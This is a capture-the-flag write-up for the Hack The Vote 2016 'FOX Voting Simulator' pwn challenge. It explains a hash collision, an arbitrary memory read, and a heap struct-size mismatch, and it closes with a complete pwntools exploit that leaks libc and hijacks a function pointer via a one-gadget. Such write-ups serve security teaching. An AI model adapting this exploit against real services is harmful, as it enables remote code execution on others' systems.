[Hack The Vote 2016] [Exploit 300 – FOX Voting Simulator] Write up

Description

In primaries, it is important to get the most attention. With 12 candidates all sharing the stage, it can be hard to pull in voters. Luckily Mr Trump doesn’t have much problem with that, but we have a strategy to secure the vote for good. We have found voters respond very well to name recognition, and which ever candidate is polling the highest. We see a snowball effect if we can tip a few online polls his way, then it will be easier for him to take the real ones, and then eventually the nomination.

We were able to dump some of the source code from FOX’s new online poll service. We couldn’t get everything, but I’m sure that is no problem for you.

foxSim

nc fox.pwn.republican 9000

author’s irc nick: itszn

26 solves

Resolution

For those who are coming there just for the scripts, you can find them here.

On this challenge, we are given a zip containing 3 files:

  • a Makefile
  • fox.h
  • foxSim.c

From the Makefile:

gcc -o foxSimulator foxSim.c -O2

We can pretty much assume from this that the binary will look like this:

[*] '/home/laxa/foxSimulator'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

We also know from the first pwn challenge that the libc used in this challenge will probably be this one:

libc6-i386_2.23-0ubuntu4_amd64.so

Let’s see now what the binary is doing, we will only give the interesting parts of the source code, you can find the rest in the given zip archive.

struct MapNode {
    char * key;
    void * data;
};

struct MapNode hashMap[100] = { {0} };

int main() {
    setbuf(stdout, NULL);
    mapPut("Trump",createCandidate("Trump","Make america great again!"));
    mapPut("Cruz",createCandidate("Cruz","Reigniting the Promise of America"));
    mapPut("Rubio",createCandidate("Rubio","A New American Century"));
    mapPut("Jeb!",createCandidate("Jeb!","Please clap..."));
    voteLoop();
}

void mapPut(char * key, void * data) {
    uint32_t hashVal = hash(key,strlen(key));
    struct MapNode node = { .key = key, .data = data };
    hashMap[hashVal % 100] = node;
}

// included from fox.h
struct Candidate {
    void (*action)(struct Candidate*, long);
    char name[100];
    char* voteMessage;
    int isCandidate;
    char* slogan;
    long delegates;
    long votes;
};

struct Person {
    void (*action)(struct Candidate*, long);
    char name[100];
    long votesToGive;
    int isCandidate;
};

The program has an array of struct MapNode with a static size of 100, on startup, 4 candidates are created and added into the hashMap. First thing to note is that the mapPut function makes a hash from another function and only taking the last two digits of it to be used as index. We can make really easy hash collision because of that.
Another thing to note is that Candidate and Person struct don’t have the same size, Candidate is 152 bytes long when Person is only 128 bytes long.

Now the main loop of the program:

void voteLoop() {
    struct Candidate* c;
    struct Person* p;
    char buff[101];
    int i = 0;
    while (1) {
        printf("Hello, welcome to the FOX NEWS voting simulator\nPlease enter your name: ");
        if (fgets(buff, 100, stdin)==NULL) {
            perror("fgets");
            exit(1);
        }
        strip(buff);
        for (i = 0; i< 4; i++) {
            if (!strcmp(buff,candidateNames[i])) { // we can bypass this with hash collision
                printf("We know you are not %s. Get out of here...\n",candidateNames[i]);
                goto getThemOutOfHere;
            }
        }
        p = mapGet(buff);
        if (p==NULL) {
            p = createPerson(buff);
            mapPut(buff,p);
            printf("Added you to the record.\n");
        } else {
            printf("Found you in the records.\n");
        }

        printf("Please enter who you want to vote for: ");
        if (fgets(buff, 100, stdin)==NULL) {
            perror("fgets");
            exit(1);
        }
        strip(buff);
        c = mapGet(buff); // we can retrieve Person / Candidate there
        if (c==NULL) {
            printf("Person not found... Sorry...\n");
        } else {
            doVote(c, p);
        }
getThemOutOfHere:
        printf("[Press enter to finish voting]\n");
        while (getchar()!='\n') {}
    }
}

We got an infinite loop, the 2 important lines have their own comment, we can impersonate an existing candidate using hash collision. We can also create multiple Person.
We made a little C program to generate a list of words that would cover every index for the struct.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>

uint32_t hash(char * data, size_t length);

int     main(void)
{
    uint32_t    val;

    val = hash("Trump", strlen("Trump"));
    printf("Trump: %u - %u\n", val, val % 100);
    val = hash("Cruz", strlen("Cruz"));
    printf("Cruz: %u - %u\n", val, val % 100);
    val = hash("Rubio", strlen("Rubio"));
    printf("Rubio: %u - %u\n", val, val % 100);
    val = hash("Jeb!", strlen("Jeb!"));
    printf("Jeb!: %u - %u\n", val, val % 100);

    FILE        *file = fopen("words.txt", "r"); // use any worldlist big enough
    char        buf[64];
    char        **arr;
    int         count = 0;
    arr = malloc(100 * sizeof(char *));
    while (count < 100)
    {
        fgets(buf, 64, file);
        buf[strlen(buf) - 1] = '\0';
        val = hash(buf, strlen(buf)) % 100;
        if (arr[val] == NULL)
        {
            arr[val] = strdup(buf);
            count++;
        }
    }
    for (count = 0; count < 100; count++)
    {
        printf("[%d]%s\n", count, arr[count]);
    }
    return 0;
}

uint32_t hash(char * data, size_t length) {
    uint32_t val = 0;
    int i;
    for (i=0; i<length; i++) {
        val += data[i];
        val += (val << 10);
        val ^= (val >> 6);
    }

    val += (val<<3);
    val ^= (val>>11);
    val += (val<<15);
    return val;
}

And now let’s see the rest of the code, we already know that we can have few different scenarios from the main_loop, we have Person / Person, Candidate / Person etc…

void voteForCandidate(struct Candidate* can, long votes) {
    can->votes += votes;
    printf("%s\n",can->voteMessage);
    printf("%lu votes added to %s\n",votes,can->name); // can leak data if can->name has no null byte
}

void voteForWriteIn(struct Candidate* can, long message) {
    if (message==0 || message < (long)main) { // can leak data with message having address > &main
        printf("%s\n",can->voteMessage);
    } else {
        printf("%s\n",(char*)message);
    }
}

long assignVotes(struct Candidate* can, struct Person* person, long votes) {
    person->votesToGive = votes;
    if (person->isCandidate) {
      return function_not_provided(can, person, votes);
    }
    else if (person == (struct Person*)can) {
        can->voteMessage = "Nice try, but we won't let you vote for yourself unless you have payed your dues to the NWO.";
        return person->votesToGive;
    } else if (!can->isCandidate) {
        can->voteMessage = "Hey, that person is not approved by the NWO. They don't get that vote.";
        person->votesToGive = 0;
    } else if (!person->isCandidate && votes != 1) {
        printf("Sorry you can only give one vote\n");
        person->votesToGive = 1;
    }

    return person->votesToGive;
}

void doVote(struct Candidate* can, struct Person* person) {
    long votes = 0;
    printf("How many votes do you want to give %s? ",can->name);
    scanf("%lu",&votes);
    while (getchar()!='\n') {}
    long realVotes = assignVotes(can,person,votes);
    can->action(can, realVotes);
}

The doVote will ask us how many votes we want and then the logic is inside assignVotes which has few hardcoded scenario:

  • If the person voting is a candidate, then a function is called, but we don’t actually have the source code, therefore we can’t compile the given sources, we made a lambda function to make our local tests
  • If the person is pointer to the same address as the Candidate, then we return our number of votes
  • The two other scenarios aren’t interesting for us, they just basically do what a correctly made voting system would do 🙂

Once we return from this function, the Candidate action is called with our number of votes.
The candidate action is nothing really interesting, but the person action is much more interesting cause it actually looks like a backdoor, the voteForWriteIn will print any memory location if the second argument is greater than the address of main in the binary.
We can have that function called by voting for a candidate that is a Person, the number of votes will be the second argument then. And we can control it if the voter is also the candidate!
Wonderful, we now have a read anywhere primitive!

So, there is nothing else really interesting in the source code, and we don’t have anything that would allow us to correctly exploit the binary.
So we can guess that we will need to leak the remote binary to find the missing function not included in the sources!

We first bruteforced from offset 0x400000 to find the main address in the remote binary, then we leaked the whole .text section and also the .data section. With .data section leaked, we can identify the address in the .got of puts in libc. Remember that from the first pwn, we know the libc used and the last 3 digits of the puts offset (0x690), this allow us to find the .got offset of the remote binary at 0x602020. We also identified the main remote binary address at: 0x400820.

With the .txt leaked from the remote binary and some ugly ninja tricks (replacing the .txt of our local binary with the leaked .txt and some padding), we can have a static analysis in IDA to find what the missing function does, so here is the code of assignVotes with the leaked code:

long assignVotes(struct Candidate* can, struct Person* person, long votes) {
    person->votesToGive = votes;
    if (person->isCandidate) {
        can->voteMessage = "Right away sir!";
        can->votes += votes - 1;                                                                                                                                                                          
        return 1;
    }

Well, awesome, a rigged election, how extraordinary, a person who is candidate can give as many votes he wants to another candidate :). The good thing is, that we now can clearly corrupt the hashmap since Person and Candidate structure aren’t the same size!

I’ll pardon the math, but if we add two persons on the heap after the last candidate (“Jeb!”) and that we vote for our first added person, the votes will be added to the second person->action !
Thanks to this, we actually can control a function call in the binary.

And now, you might wonder what we can actually do, given the fact that the function called would have the structure pointer has first argument, our options are quite limited.
Well, let’s try to use the magic gadget.
Good news, the magic gadget worked (sadly, it doesn’t always work).

Thanks to the creator of this challenge which is amazing :).

And here is our script, the leaking parts are commented out:

#!/usr/bin/env python2

from pwn import *

###

if len(sys.argv) > 1:
    DEBUG = False
else:
    DEBUG = True
if DEBUG:
    start = 0x4007d1
    putsgot = 0x6016c0
    putsOffset = 0x6b990
    voteAddr = 0x400960
    magicOffset = 0x000d6e77
else:
    start = 0x400821
    putsgot = 0x602020
    putsOffset = 0x6f690
    voteAddr = 0x4009E0
    magicOffset = 0x000f0567

###

if DEBUG:
    r = process("./foxSimulator")
else:
    r = remote("fox.pwn.republican", 9000)

def create_user(user):
    global r

    r.recvuntil("name: ")
    r.sendline(user)
    r.recvuntil("for: ")
    r.sendline(user)
    r.recvuntil("? ")
    r.sendline("1")
    r.recvuntil("[Press")
    r.sendline()


def leak_addr(addr):
    global r

    r.recvuntil("name: ")
    r.sendline("laxa")
    r.recvuntil("for: ")
    r.sendline("laxa")
    r.recvuntil("? ")
    r.sendline(str(addr))
    ret = r.recvline().rstrip()
    ret = ret.ljust(8, "\x00")
    r.recvuntil("[Press")
    r.sendline()
    return u64(ret)


def vote(p, c, addr = 1):
    global r

    r.recvuntil("name: ")
    r.sendline(p)
    r.recvuntil("for: ")
    r.sendline(c)
    r.recvuntil("? ")
    r.sendline(str(addr))
    r.recvuntil("[Press")
    r.sendline()


def leak():
    global r
    global start

    r.recvuntil("name: ")
    r.sendline("laxa")
    r.recvuntil("for: ")
    r.sendline("laxa")
    r.recvuntil("? ")
    r.sendline(str(start))
    ret = r.recvuntil("[Press")
    r.sendline()
    return ret[:-7]


# this code was used to find main address in remote binary
#while True:
#    log.info("testing: %x" % start)
#    ret = leak()
#    start += 0x1
#    if "Nice try" not in ret:
#        log.info("Found main at " + hex(start - 1))
#        break

# leaking binary to get missing functions
#with open("leak", "rb") as f:
#    l = len(f.read())
#start += l
#data = ""
#start = 0x00601000
#while True:
#    try:
#        log.info("start: %x" % start)
#        ret = leak()
#        if len(ret) == 0:
#            data += "\x00"
#            start += 1
#            continue
#        start += len(ret)
#        data += ret
#    except:
#        print "Caught exception"
#        with open("leak", "ab") as f:
#            f.write(data)
#        exit()

#r.close()

leak = leak_addr(putsgot)
libcBase = leak - putsOffset
magic = magicOffset + libcBase
log.info("leak: %x" % leak)
log.info("libcBase: %x" % libcBase)
log.info("magic: %x" % magic)

#gdb.attach(r, "b *doVote")
#log.info("press key")
#raw_input()
#leak = leak_addr(magic)
#log.info("leak: %x" % leak)
#r.close()

create_user("laxa")
create_user("toto")

# now we will rewrite Person->action of "toto"
# "abasers" is hash collision for "Jeb!"
addr = magicOffset + libcBase - voteAddr + 1
vote("abasers", "laxa", addr)

# trigger the action of "toto"
r.recvuntil("name: ")
r.sendline("laxa")
r.recvuntil("for: ")
r.sendline("toto")
r.recvuntil("? ")
r.sendline("0")

r.interactive()
r.close()

Flag is: flag{R3sr1ct_y0ur_s3lf_T0_s0uRce_0nly_4nD_y0u_w1ll_l3ak_a_l0t}

Leave a Reply

Your email address will not be published. Required fields are marked *